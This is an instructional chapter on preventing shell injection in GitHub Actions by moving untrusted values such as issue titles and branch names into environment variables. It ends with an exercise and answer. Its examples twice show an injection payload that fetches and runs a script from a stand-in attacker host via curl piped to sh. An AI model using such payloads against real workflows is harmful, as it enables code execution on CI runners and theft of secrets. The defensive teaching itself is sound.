Sub topic 5
Fixing injection with environment variables
This chapter assumes you can read a GitHub Actions workflow, know that ${{ }} is an expression, and can write basic shell. It builds on the previous chapter, where ${{ }} was shown to be expanded into the script text before the shell starts.
Why the fix works
A run step is a script. When the runner prepares it, it replaces every ${{ ... }} with the expression's value, and only then starts the shell. If the value contains shell syntax, the shell parses it as code.
An environment variable works differently. The runner sets the variable in the process environment before the shell starts. The script text contains only $ISSUE_TITLE, and the shell reads that variable's value at run time. The value is data. Quotes, semicolons and backticks inside it are not parsed as script syntax.
The ${{ }} expression still exists, but now it sits in the env: block, which is YAML, not shell.
The fix in a run step
Vulnerable version:
name: greet
on:
issues:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: echo "New issue: ${{ github.event.issue.title }}"A title such as "; curl https://attacker.example/x | sh; echo " closes the string, runs the attacker's command, and reopens a string.
Fixed version:
name: greet
on:
issues:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "New issue: $ISSUE_TITLE"The same title now prints as plain text.
The rules
- Put each untrusted value in
env:and refer to it as$NAMEin the script. - Keep the shell reference in double quotes (
"$ISSUE_TITLE"). Without quotes, the shell splits the value on whitespace and expands wildcards, which causes bugs and can change what a command does. - Keep
${{ }}out of the script body for any value an outsider can influence. Safe values, such as${{ github.run_id }}, are fine, but using one rule everywhere is easier to review. - Do not pass the variable to something that evaluates it, such as
eval "$ISSUE_TITLE"orbash -c "$ISSUE_TITLE". That turns data back into code.
Limits of the fix
Environment variables stop the workflow's script from being rewritten. They do not make the value safe for every later use. If the script passes $ISSUE_TITLE as an argument to a tool that treats leading dashes as options, or writes it into a file that another process interprets, the value can still cause trouble. Treat it as untrusted text for as long as you use it.
Exercise
A step contains run: git checkout "${{ github.head_ref }}". A contributor names their branch x"; curl https://attacker.example/x | sh; echo ". Rewrite the step so the branch name is no longer parsed as shell code, and explain why the rewrite works.
Show answer
Use env: with BRANCH: ${{ github.head_ref }} and run: git checkout "$BRANCH". The runner now sets BRANCH in the process environment, and the script text contains only $BRANCH. The shell expands the variable to the branch name as one quoted word and does not parse it as commands. (Branch names starting with - could still be read as options by git, so git checkout -- "$BRANCH" or validating the name adds further protection.)